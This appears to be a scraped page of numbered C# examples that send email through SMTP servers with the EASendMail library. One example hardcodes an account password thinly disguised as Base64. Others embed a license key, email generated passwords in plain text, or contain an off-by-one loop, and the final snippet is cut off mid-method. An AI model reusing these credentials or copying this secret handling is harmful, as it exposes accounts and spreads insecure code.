Пример #1
0
        public bool EnviarNotificacionEmailOutlook(EstructuraMail model, IWebHostEnvironment env)
        {
            bool result = false;

            model = ConstruccionNotificacion(model, env);
            try
            {
                SmtpMail oMail = new SmtpMail("TryIt");
                oMail.From     = DecodeData("ZW1jaW5nZW5pZXJpYWRlc29mdHdhcmVAb3V0bG9vay5jb20=");
                oMail.To       = model.EmailDestinatario;
                oMail.Subject  = model.Asunto;
                oMail.HtmlBody = model.Cuerpo;
                //oMail.TextBody = "";
                SmtpServer oServer = new SmtpServer("smtp.live.com");
                oServer.User        = DecodeData("ZW1jaW5nZW5pZXJpYWRlc29mdHdhcmVAb3V0bG9vay5jb20=");
                oServer.Password    = DecodeData("MTIzNGZhYnJpemlv");
                oServer.Port        = 587;
                oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
                EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
                oSmtp.SendMail(oServer, oMail);
                result = true;
            }

            catch (Exception ex)
            {
                var appLog = new AppLog();
                appLog.CreateDate = DateTime.UtcNow;
                appLog.Exception  = ex.ToString();
                appLog.Email      = model.EmailDestinatario;
                appLog.Method     = "EnviarMailNotificacionOutlook";
                AppLogRepository.AddAppLog(appLog);
            }

            return(result);
        }
Пример #2
0
        private void button1_Click(object sender, EventArgs e)
        {
            SmtpMail thisMail = new SmtpMail("TryIt");

            EASendMail.SmtpClient thisServer = new EASendMail.SmtpClient();
            foreach (string attachment in attachments)
            {
                thisMail.AddAttachment(attachment);
            }
            thisMail.From     = tbFROM.Text;
            thisMail.To       = tbTO.Text;
            thisMail.Subject  = tbSUBJECT.Text;
            thisMail.TextBody = tbMESSAGE.Text;
            SmtpServer orThisServer = new SmtpServer("smtp.gmail.com");

            orThisServer.Port        = 465;
            orThisServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
            orThisServer.User        = tbFROM.Text;
            orThisServer.Password    = tbPASSWORD.Text;
            try
            {
                thisServer.SendMail(orThisServer, thisMail);
                btnSEND.Text = "DONE";
            }
            catch (Exception ex)
            {
                tbMESSAGE.Text = ex.Message;
                btnSEND.Text   = "FAILED";
            }
        }
Пример #3
0
    //TODO: Construct the email message to be sent
    void constructEmailMessage(string to, string from, string subject, string bodyText, string _Access)
    {
        SmtpMail msg = new SmtpMail("TryIt");

        EASendMail.SmtpClient osmtp = new EASendMail.SmtpClient();
        try
        {
            SmtpServer oServer = new SmtpServer("smtp.gmail.com");
            oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
            oServer.Port        = 587;
            oServer.AuthType    = SmtpAuthType.XOAUTH2;
            oServer.Password    = _Access;
            oServer.User        = userID;
            msg.From            = from;
            msg.To       = to;
            msg.Subject  = subject;
            msg.TextBody = bodyText;
            msg.ReplyTo  = from;
            osmtp.SendMail(oServer, msg);
        }catch (Exception exp)
        {
            Debug.LogWarning(exp.Message);
        }
        //This way takes the users email and password. Not as safe as you would have to handle their info securely.
        //SmtpClient _oSmtp = new SmtpClient();
        //_oSmtp.Host = "smtp.gmail.com";
        //_oSmtp.Port = 587;
        //_oSmtp.Credentials = new System.Net.NetworkCredential(from, _Access) as ICredentialsByHost;
        //_oSmtp.EnableSsl = true;
        //MailMessage temp = new MailMessage(from, to, subject, bodyText);
        //temp.ReplyTo = temp.From;
        //_oSmtp.SendAsync(temp, "RUbella10");
    }
Пример #4
0
        public static void SendMailUsingoffice365(string EmailAddress, string AccessToken, string ToMailAddress, string EmailSubject, string MailBody)
        {
            // Office365 server address
            SmtpServer oServer = new SmtpServer("outlook.office365.com");

            // Using 587 port, you can also use 465 port
            oServer.Port = 587;
            // enable SSL connection
            oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

            // use SMTP OAUTH 2.0 authentication
            oServer.AuthType = SmtpAuthType.XOAUTH2;
            // set user authentication
            oServer.User = EmailAddress;
            // use access token as password
            oServer.Password = AccessToken;

            SmtpMail oMail = new SmtpMail("TryIt");

            // Your email address
            oMail.From = EmailAddress;

            // Please change recipient address to yours for test
            oMail.To = ToMailAddress;

            oMail.Subject  = EmailSubject;
            oMail.TextBody = MailBody;

            Console.WriteLine("start to send email using OAUTH 2.0 ...");

            EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
            oSmtp.SendMail(oServer, oMail);
        }
Пример #5
0
        internal ReturnData sendEmails()
        {
            List <bookIssuingDetails> studentIDList = getDelayedBooksBrrowedStudentList();

            for (int i = 0; i <= studentIDList.Count; i++)
            {
                try
                {
                    SmtpMail oMail = new SmtpMail("TryIt");

                    // Your gmail email address
                    oMail.From = "*****@*****.**";

                    // Set recipient email address
                    oMail.To = studentIDList[i].email;

                    // Set email subject
                    oMail.Subject = "Book Check-Out (Issue) Message";

                    // Set email body
                    oMail.TextBody = "Dear " + studentIDList[i].first_name + " " + studentIDList[i].last_name + ", " + Environment.NewLine + "The following book is checked out (Issued)from the library for your student ID number: " + studentIDList[i].studentID + "  Title: " + studentIDList[i].bookTitle + "  Due Date: " + studentIDList[i].returnDateString + " This email is system generated. Please do not reply to this mail. Library and Informaiton Centre, Librarian";

                    // Gmail SMTP server address
                    SmtpServer oServer = new SmtpServer("smtp.gmail.com");

                    // Gmail user authentication
                    // For example: your email is "*****@*****.**", then the user should be the same
                    oServer.User     = "******";
                    oServer.Password = "******";

                    // If you want to use direct SSL 465 port,
                    // please add this line, otherwise TLS will be used.
                    // oServer.Port = 465;

                    // set 587 TLS port;
                    oServer.Port = 587;

                    // detect SSL/TLS automatically
                    oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                    Console.WriteLine("start to send email over SSL ...");

                    EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
                    oSmtp.SendMail(oServer, oMail);

                    Console.WriteLine("email was sent successfully!");
                }
                catch (Exception ep)
                {
                    Console.WriteLine("failed to send email with the following error:");
                    Console.WriteLine(ep.Message);
                }
            }

            ReturnData rd = new ReturnData();

            rd.status  = 1;
            rd.message = "OK";
            return(rd);
        }
Пример #6
0
        private static void SendMailWithXOAUTH2(string email, string subject, string textBody, string accessToken)
        {
            try
            {
                string userEmail = "*****@*****.**";
                // string userPassword = "******";

                SmtpServer oServer = new SmtpServer("smtp.gmail.com", 587); // 465 can be used too
                oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                oServer.AuthType = SmtpAuthType.XOAUTH2;
                oServer.User     = userEmail;
                // use access token as password
                oServer.Password = accessToken;

                SmtpMail oMail = new SmtpMail("TryIt");
                // Your gmail email address
                oMail.From = userEmail;
                oMail.To   = email;

                oMail.Subject  = subject;
                oMail.TextBody = textBody;

                EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
                oSmtp.SendMail(oServer, oMail);
            }
            catch (Exception ep)
            {
                Console.WriteLine("Exception: {0}", ep.Message);
            }
        }
Пример #7
0
        public static void SendMail(string EmailId, string Password)
        {
            try
            {
                EASendMail.SmtpMail   oMail = new SmtpMail("TryIt");
                EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();

                // Set sender email address, please change it to yours
                oMail.From = StaticConst.EMAILID;

                // Set recipient email address, please change it to yours
                oMail.To = EmailId;

                // Set email subject
                oMail.Subject = "Auto Generated Password for first time User.";

                // Set email body
                oMail.TextBody = "Please Use this auto generated password";

                oMail.HtmlBody = "<html><body>Please Use this auto generated password<b>" + Password + "</b></body></html>";
                // oMail.AddAttachment("http://app.letzgst.com/AllDesign/Reports/Reports.html");
                // Your SMTP server address
                SmtpServer oServer = new SmtpServer("letzgst.com");

                // User and password for ESMTP authentication, if your server doesn't require
                // User authentication, please remove the following codes.
                oServer.User     = StaticConst.EMAILID;
                oServer.Password = StaticConst.EMAILPASSWORD;
                oSmtp.SendMail(oServer, oMail);
            }
            catch (Exception ex)
            {
            }
        }
Пример #8
0
        public static void SendAll(object o)
        {
            try
            {
                if (messaggi.Count > 0)
                {
                    EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
                    foreach (Coppia c in messaggi)
                    {
                        oSmtp.SendMail(c.server, c.mail);
                        log.InfoFormat("+MESSAGE-SEND: From: {0} -- To: {1}", c.mail.From, c.mail.To);
                    }

                    messaggi.Clear();
                }

                if (slacks.Count > 0)
                {
                    foreach (Slack s in slacks)
                    {
                        s.client.PostMessage(username: c.Communications.Slack.UserName,
                                             text: s.text,
                                             channel: s.channel);
                    }

                    slacks.Clear();
                }
            }

            catch (Exception e)
            {
                log.ErrorFormat("!ERROR: {0} - Not send message to Gmail", e.ToString());
            }
        }
Пример #9
0
        private static void SendEmail(string code)
        {
            try
            {
                var oMail = new SmtpMail("TryIt");

                oMail.From     = "*****@*****.**";
                oMail.To       = _config.Email;
                oMail.Subject  = "Code for Two factors";
                oMail.TextBody = "The two factors code is: " + code;
                var oServer = new SmtpServer("");

                Console.WriteLine("start to send email directly ...");

                var oSmtp = new SmtpClient();
                oSmtp.SendMail(oServer, oMail);

                Console.WriteLine("email was sent successfully! (Check SPAM folder!)");
            }
            catch (Exception ep)
            {
                Console.WriteLine("failed to send email with the following error:");
                Console.WriteLine(ep.Message);
            }
        }
Пример #10
0
        public static void SendMailAccessToken(string FromEmailAddress, string accessToken, string ToEmailAddress, string Subject, string Body)
        {
            // Gmail SMTP server address
            SmtpServer oServer = new SmtpServer("smtp.gmail.com");

            // enable SSL connection
            oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
            // Using 587 port, you can also use 465 port
            oServer.Port = 587;

            // use Gmail SMTP OAUTH 2.0 authentication
            oServer.AuthType = SmtpAuthType.XOAUTH2;
            // set user authentication
            oServer.User = FromEmailAddress;
            // use access token as password
            oServer.Password = accessToken;

            SmtpMail oMail = new SmtpMail("TryIt");

            // Your gmail email address
            oMail.From = FromEmailAddress;
            oMail.To   = ToEmailAddress;

            oMail.Subject  = Subject;
            oMail.HtmlBody = Body;
            //oMail.TextBody = Body;

            EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
            oSmtp.SendMail(oServer, oMail);
        }
Пример #11
0
        // localhost:9005/Home/SendEmail
        public ActionResult SendEmail()
        {
            ViewBag.Title = "Send Email";

            try
            {
                SmtpMail oMail = new SmtpMail("TryIt");

                // Your gmail email address
                oMail.From = "*****@*****.**";

                // Set recipient email address
                oMail.To = "*****@*****.**";

                // Set email subject
                oMail.Subject = "test email from gmail account";

                string guid = Guid.NewGuid().ToString();

                //Session["guid"] = guid; // insert into THIS session a key named guid and its value
                HttpContext.Application[guid] = "*****@*****.**"; // insert into THIS session a key named guid and its value

                // Set email body
                oMail.TextBody = "Welcome\nclick link : http://localhost:9005/home/EmailVerify?guid=" + guid;

                // Gmail SMTP server address
                SmtpServer oServer = new SmtpServer("smtp.gmail.com");

                // Gmail user authentication
                // For example: your email is "*****@*****.**", then the user should be the same
                oServer.User     = "******";
                oServer.Password = "******";

                // If you want to use direct SSL 465 port,
                // please add this line, otherwise TLS will be used.
                // oServer.Port = 465;

                // set 587 TLS port;
                oServer.Port = 587;

                // detect SSL/TLS automatically
                oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                Console.WriteLine("start to send email over SSL ...");

                EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
                oSmtp.SendMail(oServer, oMail);

                Console.WriteLine("email was sent successfully!");
            }
            catch (Exception ep)
            {
                Console.WriteLine("failed to send email with the following error:");
                Console.WriteLine(ep.Message);

                return(Content($"<p1 style=\"color:red\">ERROR {ep.Message }</p1>"));
            }
            return(Content("Verification sent to your adress !"));
        }
Пример #12
0
        public static ResCommon SendMailCustom(ReqEmail reqEmail, string Password = null)
        {
            ResCommon resCommon = new ResCommon();

            try
            {
                EASendMail.SmtpMail   oMail = new SmtpMail("TryIt");
                EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();

                // Set sender email address, please change it to yours
                oMail.From = StaticConst.EMAILID;

                // Set recipient email address, please change it to yours
                oMail.To   = reqEmail.EmailId;
                oMail.From = new EASendMail.MailAddress(reqEmail.UserName, StaticConst.EMAILID);

                // Set email subject
                oMail.Subject = reqEmail.EmailSubject;

                string       path      = AppDomain.CurrentDomain.BaseDirectory + "\\Optimize\\EmailHtml\\";
                StreamReader strReader = new StreamReader(path + reqEmail.HtmlType + ".html");
                string       objReader = strReader.ReadToEnd();
                objReader = objReader.Replace("{{Username}}", reqEmail.UserName);
                objReader = objReader.Replace("{{EmailBody}}", reqEmail.EmailBody);

                if (reqEmail.HtmlType.Contains("Password"))
                {
                    objReader.Replace("{{ Password}}", Password);
                }
                oMail.HtmlBody = objReader;
                if (!String.IsNullOrEmpty(reqEmail.EmailAttachmentUrl))
                {
                    oMail.AddAttachment(reqEmail.EmailAttachmentUrl);
                }
                // Your SMTP server address
                SmtpServer oServer = new SmtpServer(StaticConst.SERVERNAME);

                // User and password for ESMTP authentication, if your server doesn't require
                // User authentication, please remove the following codes.

                oServer.User = StaticConst.EMAILID;

                oServer.Password = StaticConst.EMAILPASSWORD;
                oSmtp.SendMail(oServer, oMail);
                resCommon.ResponseCode    = 0;
                resCommon.ResponseMessage = "Email Sent Successfully";

                return(resCommon);
            }
            catch (Exception ex)
            {
                resCommon.ResponseCode    = 1;
                resCommon.ResponseMessage = "Error while sending Email";
                return(resCommon);
            }
        }
Пример #13
0
        public void OnPost()
        {
            try
            {
                var      message = Request.Form["message"];
                var      email   = Request.Form["email"];
                var      name    = Request.Form["name"];
                SmtpMail oMail   = new SmtpMail("TryIt");

                // Your gmail email address
                oMail.From = "*****@*****.**";

                // Set recipient email address
                oMail.To = "*****@*****.**";

                // Set email subject
                oMail.Subject = "Pitanje Sa TAG Sajta";

                // Set email body
                //oMail.TextBody = "this is a test email sent from c# project with gmail.";
                oMail.TextBody = name + "\n" + email + "\n" + message;

                // Gmail SMTP server address
                SmtpServer oServer = new SmtpServer("mailcluster.loopia.se");

                // Gmail user authentication
                // For example: your email is "*****@*****.**", then the user should be the same
                oServer.User     = "******";
                oServer.Password = "******";

                // If you want to use direct SSL 465 port,
                // please add this line, otherwise TLS will be used.
                // oServer.Port = 465;

                // set 587 TLS port;
                oServer.Port = 587;

                // detect SSL/TLS automatically
                oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                Console.WriteLine("start to send email over SSL ...");

                EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
                oSmtp.SendMail(oServer, oMail);

                Console.WriteLine("email was sent successfully!");
            }
            catch (Exception ep)
            {
                Console.WriteLine("failed to send email with the following error:");
                Console.WriteLine(ep.Message);
            }
        }
Пример #14
0
        public void Email(string To, string Cc, string Subject, string TextBody)
        {
            try
            {
                SmtpMail oMail = new SmtpMail("TryIt");

                // Your gmail email address
                oMail.From = "*****@*****.**";

                // Set recipient email address
                oMail.To = To;
                oMail.Cc = Cc;

                // Set email subject
                oMail.Subject = Subject;

                // Set email bodytio
                oMail.TextBody = TextBody;

                // Gmail SMTP server address
                SmtpServer oServer = new SmtpServer("smtp.gmail.com");

                // Gmail user authentication
                // For example: your email is "*****@*****.**", then the user should be the same
                oServer.User     = "******";
                oServer.Password = "******";

                // If you want to use direct SSL 465 port,
                // please add this line, otherwise TLS will be used.
                // oServer.Port = 465;

                // set 587 TLS port;
                oServer.Port = 587;

                // detect SSL/TLS automatically
                oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                Console.WriteLine("start to send email over SSL ...");

                EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
                oSmtp.SendMail(oServer, oMail);

                Console.WriteLine("email was sent successfully!");
            }
            catch (Exception ep)
            {
                Console.WriteLine("failed to send email with the following error:");
                Console.WriteLine(ep.Message);
            }
        }
Пример #15
0
        public static void SendMessage(string msg)
        {
            try
            {
                SmtpMail oMail = new SmtpMail("TryIt");

                // Your gmail email address
                oMail.From = "*****@*****.**";

                // Set recipient email address
                oMail.To.Add(new EASendMail.MailAddress("*****@*****.**"));
                oMail.To.Add(new EASendMail.MailAddress("*****@*****.**"));

                // Set email subject
                oMail.Subject = "Fortrade Notification";

                // Set email body
                oMail.TextBody = msg;

                // Gmail SMTP server address
                SmtpServer oServer = new SmtpServer("smtp.gmail.com");

                // Gmail user authentication
                // For example: your email is "*****@*****.**", then the user should be the same
                oServer.User     = "******";
                oServer.Password = "******";

                // If you want to use direct SSL 465 port,
                // please add this line, otherwise TLS will be used.
                // oServer.Port = 465;

                // set 587 TLS port;
                oServer.Port = 587;

                // detect SSL/TLS automatically
                oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                //Console.WriteLine("start to send email over SSL ...");

                EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
                oSmtp.SendMail(oServer, oMail);

                //Console.WriteLine("email was sent successfully!");
            }
            catch (Exception ep)
            {
                Console.WriteLine("failed to send email with the following error:");
                Console.WriteLine(ep.Message);
            }
        }
Пример #16
0
        static void Main(string[] args)
        {
            try
            {
                SmtpMail oMail = new SmtpMail("TryIt");

                // Your gmail email address
                oMail.From = "*****@*****.**";

                // Set recipient email address
                oMail.To = "*****@*****.**";

                // Set email subject
                oMail.Subject = "test email from gmail account";

                // Set email body
                oMail.TextBody = "Hello from gmail smtp";

                // Gmail SMTP server address
                SmtpServer oServer = new SmtpServer("smtp.gmail.com");

                // Gmail user authentication
                // For example: your email is "*****@*****.**", then the user should be the same
                oServer.User     = "******";
                oServer.Password = "******";

                // If you want to use direct SSL 465 port,
                // please add this line, otherwise TLS will be used.
                // oServer.Port = 465;

                // set 587 TLS port;
                oServer.Port = 587;

                // detect SSL/TLS automatically
                oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                Console.WriteLine("start to send email over SSL ...");

                EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
                oSmtp.SendMail(oServer, oMail);

                Console.WriteLine("email was sent successfully!");
            }
            catch (Exception ep)
            {
                Console.WriteLine("failed to send email with the following error:");
                Console.WriteLine(ep.Message);
            }
            Console.WriteLine("Success!");
        }
        //public static void SendMail(string x_strSubject, string x_strContent, MailInfo x_objMailInfoFrom, MailInfo x_objMailInfoTo)
        //{
        //    //var fromAddress = new MailAddress(x_objMailInfoFrom.Email, x_objMailInfoFrom.Name);
        //    //var toAddress = new MailAddress(x_objMailInfoTo.Email, x_objMailInfoTo.Name);

        //    //var smtp = new SmtpClient
        //    //{
        //    //    Host = "smtp.gmail.com",
        //    //    Port = 587,
        //    //    EnableSsl = true,
        //    //    DeliveryMethod = SmtpDeliveryMethod.Network,
        //    //    UseDefaultCredentials = false,
        //    //    Credentials = new NetworkCredential(fromAddress.Address, x_objMailInfoFrom.Pass)
        //    //};
        //    //using (var message = new MailMessage(fromAddress, toAddress)
        //    //{
        //    //    Subject = x_strSubject,
        //    //    Body = x_strContent
        //    //})
        //    //{
        //    //    smtp.Send(message);
        //    //}
        //}

        public static void SendMail(string x_strSubject, string x_strContent, MailInfo x_objMailInfoFrom, MailInfo x_objMailInfoTo)
        {
            try
            {
                SmtpMail oMail = new SmtpMail("TryIt");

                // Your gmail email address
                oMail.From = x_objMailInfoFrom.Email;
                // Set recipient email address
                oMail.To = x_objMailInfoTo.Email;

                // Set email subject
                oMail.Subject = x_strSubject;
                // Set email body
                oMail.TextBody = x_strContent;

                // Gmail SMTP server address
                SmtpServer oServer = new SmtpServer("smtp.gmail.com");

                // Gmail user authentication
                // For example: your email is "*****@*****.**", then the user should be the same
                oServer.User     = x_objMailInfoFrom.Email;
                oServer.Password = x_objMailInfoFrom.Pass;

                // Set 465 port
                oServer.Port = 465;

                // detect SSL/TLS automatically
                oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                Debug.WriteLine("start to send email over SSL ...");

                SmtpClient oSmtp = new SmtpClient();
                oSmtp.SendMail(oServer, oMail);

                Debug.WriteLine("email was sent successfully!");
            }
            catch (Exception ep)
            {
                Debug.WriteLine("failed to send email with the following error:");
                Debug.WriteLine(ep.Message);
            }
        }
Пример #18
0
        public static void SendMailUsingGmailImage(string EmailAddress, string AccessToken, string ToMailAddress, string EmailSubject, string MailBody, List <string> fileName, string Path)
        {
            // Gmail SMTP server address
            SmtpServer oServer = new SmtpServer("smtp.gmail.com");

            // enable SSL connection
            oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
            // Using 587 port, you can also use 465 port
            oServer.Port = 587;

            // use Gmail SMTP OAUTH 2.0 authentication
            oServer.AuthType = SmtpAuthType.XOAUTH2;
            // set user authentication
            oServer.User = EmailAddress;    // oAccountIntegration.EmailAddress;
            // use access token as password
            oServer.Password = AccessToken; // oAccountIntegration.AccessToken;

            SmtpMail oMail = new SmtpMail("TryIt");

            // Your Gmail email address
            oMail.From = EmailAddress;// oAccountIntegration.EmailAddress;

            // Please change recipient address to yours for test
            oMail.To = ToMailAddress;

            oMail.Subject  = EmailSubject;
            oMail.HtmlBody = MailBody;

            // Import html body and also import linked image as embedded images.
            oMail.ImportHtml(MailBody,
                             Path, //test.gif is in c:\\my picture
                             ImportHtmlBodyOptions.ImportLocalPictures | ImportHtmlBodyOptions.ImportCss);


            foreach (var item in fileName)
            {
                oMail.AddAttachment(item);
            }

            EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
            oSmtp.SendMail(oServer, oMail);
        }
Пример #19
0
        private void SendMail()
        {
            EMailPrompt dlg = new EMailPrompt();

            if (dlg.ShowDialog() == DialogResult.OK)
            {
                SmtpMail oMail = new SmtpMail("TryIt");
                EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();

                oMail.From     = "*****@*****.**";
                oMail.To       = dlg.EMail;
                oMail.Subject  = "Your nutrition stats from eCalculatorInc";
                oMail.HtmlBody = BuildStatsHTML();

                // Your SMTP server address
                SmtpServer oServer = new SmtpServer("smtp.gmail.com");

                // Set 25 port, if your server uses 587 port, please change 25 to 587
                oServer.Port = 587;

                // Set TLS connection
                oServer.ConnectType = SmtpConnectType.ConnectSTARTTLS;

                // User and password for ESMTP authentication
                oServer.User     = "******";
                oServer.Password = "******";

                try
                {
                    oSmtp.SendMail(oServer, oMail);
                    label3.Text = "email was sent successfully!";
                }
                catch (Exception ep)
                {
                    label3.Text = "failed to send email with the following error:" + ep.Message;
                }
            }
        }
Пример #20
0
        public Boolean Enviar_Correo_hold(mail_Mensaje_Info MensajeInfo, ref string mensajeErrorOut)
        {
            string SConfigCta = "";

            try
            {
                if (param.AUTORIZADO_ENVIO_CORREO == false)
                {
                    mensajeErrorOut = "No esta autorizado para envio de correo ";
                    return(false);
                }

                string mensajeError            = "";
                string tipo_conex_cifrada_smtp = "";


                //optengo el nombre de la pc para saber desde donde se envi el correo para auditar la duplicacion...
                MensajeInfo.Texto_mensaje = MensajeInfo.Texto_mensaje + " PC/Envio: " + Funciones.Get_Nombre_PC();
                /////////////


                mail_Cuentas_Correo_Info InfoCtaMail_Remitente = new mail_Cuentas_Correo_Info();
                InfoCtaMail_Remitente = listMail_cta.FirstOrDefault(v => v.IdCuenta == MensajeInfo.IdCuenta);


                if (listMail_x_Empresa.Count == 0)
                {
                    mensajeErrorOut = "No Existe cuentas para envio de correo configuradas en la base ";
                    return(false);
                }

                if (InfoCtaMail_Remitente == null || InfoCtaMail_Remitente.IdCuenta == null)
                {
                    mensajeErrorOut = "No existe una cuenta relaciona en la base para la cuenta del mensaje verique por base";
                    return(false);
                }


                if (!mailValida.email_bien_escrito(MensajeInfo.Para))
                {
                    mensajeErrorOut            = "La cuenta de correo es Invalida ";
                    MensajeInfo.IdTipo_Mensaje = eTipoMail.Mail_NO_Env_x_error;
                    datamaMail.Actualizar_TipoMensaje(MensajeInfo, ref mensajeErrorOut);
                    return(false);
                }

                if (MensajeInfo.IdCuenta == "" || MensajeInfo.IdCuenta == null)
                {
                    InfoCtaMail_Remitente      = listMail_cta.FirstOrDefault(v => v.cta_predeterminada == true);
                    MensajeInfo.IdCuenta       = InfoCtaMail_Remitente.IdCuenta;
                    MensajeInfo.mail_remitente = InfoCtaMail_Remitente.direccion_correo;

                    datamaMail.Actualizar_Datos_Cuenta(MensajeInfo, ref mensajeErrorOut);

                    mensajeErrorOut = "la Cuenta Remitente no esta establecido en el mensaje se enviara con la cuenta por default ...";
                }
                SmtpMail              oSmtpMail_msg = new SmtpMail("ES-C1407722592-00106-56VB4AE2B4F8TB75-641B598EBE4D439A");
                SmtpServer            oSmtpServer   = new SmtpServer(InfoCtaMail_Remitente.ServidorCorreoSaliente, InfoCtaMail_Remitente.Port_salida);
                EASendMail.SmtpClient oclienteSmtp  = new EASendMail.SmtpClient();



                if (InfoCtaMail_Remitente.Confirmacion_de_Entrega == true || InfoCtaMail_Remitente.Confirmacion_de_Lectura == true)
                {
                    oSmtpMail_msg.DeliveryNotification = EASendMail.DeliveryNotificationOptions.OnFailure | EASendMail.DeliveryNotificationOptions.OnSuccess | EASendMail.DeliveryNotificationOptions.Delay;

                    if (InfoCtaMail_Remitente.Confirmacion_de_Lectura == true)
                    {
                        oSmtpMail_msg.Headers.Add("Read-Receipt-To", InfoCtaMail_Remitente.direccion_correo);
                    }
                    if (InfoCtaMail_Remitente.Confirmacion_de_Entrega == true)
                    {
                        oSmtpMail_msg.Headers.Add("Disposition-Notification-To", InfoCtaMail_Remitente.direccion_correo);
                    }
                }

                // si tiene archivo adjunto
                if (MensajeInfo.Tiene_Adjunto == true)
                {
                    #region codigo viejo q actualiza el campo de mail



                    #endregion


                    //optengo los archivos adjuntos
                    MensajeInfo.list_Archivos_Adjuntos = OdataArchivoAdjunto.Lista_ArchivoAdjunto_Mensaje_x_comprobante(MensajeInfo.IdMensaje, ref mensajeErrorOut);
                    foreach (var item in MensajeInfo.list_Archivos_Adjuntos)
                    {
                        comprobante = new tb_Comprobante_Info();
                        comprobante = Bus_Comprobante_emisor.Comprobante_consulta_Id_Comprobante(item.IdEmpresa, item.IdComprobante, ref mensajeError);

                        byte[] BinarioFileAdjunto = null;



                        if (comprobante.IdComprobante != null)
                        {
                            // si la extencion ex .pdf lo creo en el tmp
                            if (item.extensionArchivo.ToUpper() == ".PDF")
                            {
                                XtraReport   Reporte      = new XtraReport();
                                Rpt_Ride_bus Rpt_Ride_Bus = new Rpt_Ride_bus(listEmpr);
                                Reporte = Rpt_Ride_Bus.Optener_reporte(comprobante, ref mensajeError);
                                //pdf
                                FileStream FileBinary;
                                FileBinary = new FileStream(RutaArchivos + "\\" + comprobante.IdComprobante + ".pdf", FileMode.Create);
                                DevExpress.XtraPrinting.PdfExportOptions Optione = new DevExpress.XtraPrinting.PdfExportOptions();
                                Reporte.ExportToPdf(FileBinary, Optione);
                                FileBinary.Close();
                                // lleno la clase archivo adjunto con el pdf que se creo en el tmp
                                DirectoryInfo   Directorio_Pdf_Xml = new DirectoryInfo(RutaArchivos);
                                List <FileInfo> listaFiles         = Directorio_Pdf_Xml.GetFiles(comprobante.IdComprobante + ".pdf").ToList();
                                foreach (var itemBi in listaFiles)
                                {
                                    FileStream file = new FileStream(RutaArchivos + itemBi.Name, FileMode.Open);
                                    BinarioFileAdjunto = new byte[file.Length];

                                    file.Read(BinarioFileAdjunto, 0, Convert.ToInt32(file.Length));
                                    file.Close();
                                }
                            }
                        }

                        // LLENO EL BINARIO PARA EL XML
                        if (item.extensionArchivo.ToUpper() == ".XML")
                        {
                            XmlDocument xmlOrigen = new XmlDocument();
                            xmlOrigen.Load(new StringReader(comprobante.s_XML));
                            BinarioFileAdjunto = Encoding.UTF8.GetBytes(xmlOrigen.OuterXml);
                        }


                        oSmtpMail_msg.AddAttachment(item.IdComprobante + item.extensionArchivo, BinarioFileAdjunto);
                    }
                }


                tipo_conex_cifrada_smtp = InfoCtaMail_Remitente.tipo_Seguridad;

                if (InfoCtaMail_Remitente.tipo_Seguridad != "Ninguno")
                {
                    oSmtpServer.User     = InfoCtaMail_Remitente.Usuario;
                    oSmtpServer.Password = InfoCtaMail_Remitente.Password;
                }


                switch (tipo_conex_cifrada_smtp)
                {
                case "SSL":
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
                    oSmtpServer.Port        = 465;
                    break;

                case "TLS":
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
                    break;

                case "Ninguno":
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectNormal;
                    break;

                case "STARTTLS":
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectSTARTTLS;
                    break;

                default:
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectNormal;
                    break;
                }



                oSmtpMail_msg.To.Add(new EASendMail.MailAddress(MensajeInfo.Para));

                if (MensajeInfo.Para_CC != "" && MensajeInfo.Para_CC != null)
                {
                    string[] slistaCorreo = MensajeInfo.Para_CC.Split(';');

                    foreach (var item in slistaCorreo)
                    {
                        oSmtpMail_msg.Cc.Add(new EASendMail.MailAddress(item.Trim()));
                    }
                }

                oSmtpMail_msg.From     = new EASendMail.MailAddress(InfoCtaMail_Remitente.direccion_correo);
                oSmtpMail_msg.Subject  = MensajeInfo.Asunto;
                oSmtpMail_msg.TextBody = MensajeInfo.Texto_mensaje;



                SConfigCta = "msg.From :" + oSmtpMail_msg.From.ToString() + "\n";
                SConfigCta = SConfigCta + " msg.To:" + oSmtpMail_msg.To.ToString() + "\n";
                SConfigCta = SConfigCta + " msg.Subject " + oSmtpMail_msg.Subject.ToString() + "\n";
                SConfigCta = SConfigCta + "msg.Body :" + oSmtpMail_msg.TextBody.ToString() + "\n";
                SConfigCta = SConfigCta + "oSmtpServer.Port:" + oSmtpServer.Port.ToString() + "\n";
                SConfigCta = SConfigCta + " oSmtpServer.User:"******"\n";
                SConfigCta = SConfigCta + " oSmtpServer.Password:"******"\n";
                SConfigCta = SConfigCta + " oSmtpServer.Protocol :" + oSmtpServer.Protocol + "\n";

                if (MensajeInfo.Para == "")
                {
                    mensajeErrorOut = "No hay cuenta de correo a quien enviar ";
                    return(false);
                }

                //enviando correo

